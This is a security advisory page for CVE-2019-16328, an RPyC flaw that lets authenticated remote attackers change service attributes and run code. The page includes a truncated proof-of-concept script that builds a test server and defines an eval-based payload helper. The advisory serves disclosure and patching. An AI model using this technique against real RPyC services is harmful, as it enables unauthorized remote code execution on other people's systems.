BREW-pwntools-CVE-2019-16328 — Dynamic modification of RPyC service due to missing security check

Affected: Homebrew: pwntools

### Impact Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

### Patches Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

### Workarounds The commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.

### References [CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328) [RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)

### For more information If you have any questions or comments about this advisory: * Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)

### Proof of Concept ``` import logging import rpyc import tempfile from subprocess import Popen, PIPE import unittest

PORT = 18861 SERVER_SCRIPT = f"""#!/usr/bin/env python import rpyc from rpyc.utils.server import ThreadedServer, ThreadPoolServer from rpyc import SlaveService import rpyc

class Foe(object): foo = "bar"

class Fee(rpyc.Service): exposed_Fie = Foe

def exposed_nop(self): return

if __name__ == "__main__": server = ThreadedServer(Fee, port={PORT}, auto_register=False) thd = server.start() """

def setattr_orig(target, attrname, codeobj): setattr(target, attrname, codeobj)

def myeval(self=None, cmd="__import__('sys')"): return eval(cmd)

def get_code(obj_codetype, f…

CVE-2019-16328

In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.

PYSEC-2019-118

Affected: PyPI: rpyc

Most recent entries from all

BREW-pwntools-CVE-2019-16328 — Dynamic modification of RPyC service due to missing security check

CVE-2019-16328

PYSEC-2019-118